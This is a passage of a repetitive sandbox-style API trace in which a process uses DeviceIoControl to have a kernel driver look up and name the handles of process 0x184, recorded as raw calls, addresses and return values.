(Object=0xfffff8a0012500e0) returned 0x1 [0120.959] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.959] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.959] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.959] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.959] PsAcquireProcessExitSynchronization () returned 0x0 [0120.959] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.959] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00206f1f0, HandleInformation=0x0) returned 0x0 [0120.959] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.959] PsReleaseProcessExitSynchronization () returned 0x2 [0120.959] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.959] ObQueryNameString (in: Object=0xfffff8a00206f1f0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.959] ObfDereferenceObject (Object=0xfffff8a00206f1f0) returned 0x1 [0120.960] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.960] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.960] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.960] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.960] PsAcquireProcessExitSynchronization () returned 0x0 [0120.960] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.960] ObReferenceObjectByHandle (in: Handle=0x28c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089e92b0, HandleInformation=0x0) returned 0x0 [0120.960] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.960] PsReleaseProcessExitSynchronization () returned 0x2 [0120.960] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.960] ObQueryNameString (in: Object=0xfffff8a0089e92b0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.960] ObfDereferenceObject (Object=0xfffff8a0089e92b0) returned 0x1 [0120.960] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.960] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.960] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.960] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.960] PsAcquireProcessExitSynchronization () returned 0x0 [0120.960] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.960] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001247880, HandleInformation=0x0) returned 0x0 [0120.960] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.960] PsReleaseProcessExitSynchronization () returned 0x2 [0120.960] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.960] ObQueryNameString (in: Object=0xfffff8a001247880, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.960] ObfDereferenceObject (Object=0xfffff8a001247880) returned 0x1 [0120.960] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.960] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.960] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.960] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.961] PsAcquireProcessExitSynchronization () returned 0x0 [0120.961] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.961] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001b237a0, HandleInformation=0x0) returned 0x0 [0120.961] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.961] PsReleaseProcessExitSynchronization () returned 0x2 [0120.961] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.961] ObQueryNameString (in: Object=0xfffff8a001b237a0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.961] ObfDereferenceObject (Object=0xfffff8a001b237a0) returned 0x1 [0120.961] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.961] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.961] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.961] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.961] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.961] PsAcquireProcessExitSynchronization () returned 0x0 [0120.961] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.961] ObReferenceObjectByHandle (in: Handle=0x2b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001625eb0, HandleInformation=0x0) returned 0x0 [0120.961] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.961] PsReleaseProcessExitSynchronization () returned 0x2 [0120.961] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.961] ObQueryNameString (in: Object=0xfffff8a001625eb0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.961] ObfDereferenceObject (Object=0xfffff8a001625eb0) returned 0x1 [0120.961] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.961] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.961] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.961] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.961] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.961] PsAcquireProcessExitSynchronization () returned 0x0 [0120.961] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.961] ObReferenceObjectByHandle (in: Handle=0x2cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0017fefc0, HandleInformation=0x0) returned 0x0 [0120.961] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.961] PsReleaseProcessExitSynchronization () returned 0x2 [0120.961] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.962] ObQueryNameString (in: Object=0xfffff8a0017fefc0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.962] ObfDereferenceObject (Object=0xfffff8a0017fefc0) returned 0x1 [0120.962] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.962] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.962] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.962] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0120.962] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.962] PsAcquireProcessExitSynchronization () returned 0x0 [0120.962] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.962] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800346f580, HandleInformation=0x0) returned 0x0 [0120.962] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.962] PsReleaseProcessExitSynchronization () returned 0x2 [0120.962] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.962] ObQueryNameString (in: Object=0xfffffa800346f580, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0120.962] ObfDereferenceObject (Object=0xfffffa800346f580) returned 0x2 [0120.962] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.962] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.962] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.962] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.962] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.962] PsAcquireProcessExitSynchronization () returned 0x0 [0120.962] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.962] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001811930, HandleInformation=0x0) returned 0x0 [0120.962] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.962] PsReleaseProcessExitSynchronization () returned 0x2 [0120.962] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.962] ObQueryNameString (in: Object=0xfffff8a001811930, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.962] ObfDereferenceObject (Object=0xfffff8a001811930) returned 0x1 [0120.962] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.963] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.963] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.963] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.986] PsAcquireProcessExitSynchronization () returned 0x0 [0120.986] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.986] ObReferenceObjectByHandle (in: Handle=0x2e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001b633e0, HandleInformation=0x0) returned 0x0 [0120.986] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.986] PsReleaseProcessExitSynchronization () returned 0x2 [0120.986] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.986] ObQueryNameString (in: Object=0xfffff8a001b633e0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.986] ObfDereferenceObject (Object=0xfffff8a001b633e0) returned 0x1 [0120.986] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.987] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.987] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.987] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.987] PsAcquireProcessExitSynchronization () returned 0x0 [0120.987] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.988] ObReferenceObjectByHandle (in: Handle=0x2ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001a63b80, HandleInformation=0x0) returned 0x0 [0120.988] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.988] PsReleaseProcessExitSynchronization () returned 0x2 [0120.988] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.988] ObQueryNameString (in: Object=0xfffff8a001a63b80, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.988] ObfDereferenceObject (Object=0xfffff8a001a63b80) returned 0x1 [0120.988] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.988] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.988] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.988] PsAcquireProcessExitSynchronization () returned 0x0 [0120.988] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.988] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00179dd10, HandleInformation=0x0) returned 0x0 [0120.988] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.988] PsReleaseProcessExitSynchronization () returned 0x2 [0120.988] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.988] ObQueryNameString (in: Object=0xfffff8a00179dd10, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.988] ObfDereferenceObject (Object=0xfffff8a00179dd10) returned 0x1 [0120.988] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.988] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.988] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.988] PsAcquireProcessExitSynchronization () returned 0x0 [0120.988] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.988] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f44bf0, HandleInformation=0x0) returned 0x0 [0120.988] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.988] PsReleaseProcessExitSynchronization () returned 0x2 [0120.988] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.988] ObQueryNameString (in: Object=0xfffff8a001f44bf0, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.988] ObfDereferenceObject (Object=0xfffff8a001f44bf0) returned 0x1 [0120.988] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.988] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.989] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.989] PsAcquireProcessExitSynchronization () returned 0x0 [0120.989] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.989] ObReferenceObjectByHandle (in: Handle=0x2f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0012483d0, HandleInformation=0x0) returned 0x0 [0120.989] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.989] PsReleaseProcessExitSynchronization () returned 0x2 [0120.989] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.989] ObQueryNameString (in: Object=0xfffff8a0012483d0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.989] ObfDereferenceObject (Object=0xfffff8a0012483d0) returned 0x1 [0120.989] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.989] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.989] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.989] PsAcquireProcessExitSynchronization () returned 0x0 [0120.989] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.989] ObReferenceObjectByHandle (in: Handle=0x310, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f537a0, HandleInformation=0x0) returned 0x0 [0120.989] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.989] PsReleaseProcessExitSynchronization () returned 0x2 [0120.989] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.989] ObQueryNameString (in: Object=0xfffff8a001f537a0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.989] ObfDereferenceObject (Object=0xfffff8a001f537a0) returned 0x1 [0120.989] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.989] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.989] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.989] PsAcquireProcessExitSynchronization () returned 0x0 [0120.989] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.989] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001ef47c0, HandleInformation=0x0) returned 0x0 [0120.989] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.990] PsReleaseProcessExitSynchronization () returned 0x2 [0120.990] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.990] ObQueryNameString (in: Object=0xfffff8a001ef47c0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.990] ObfDereferenceObject (Object=0xfffff8a001ef47c0) returned 0x1 [0120.990] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.990] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.990] 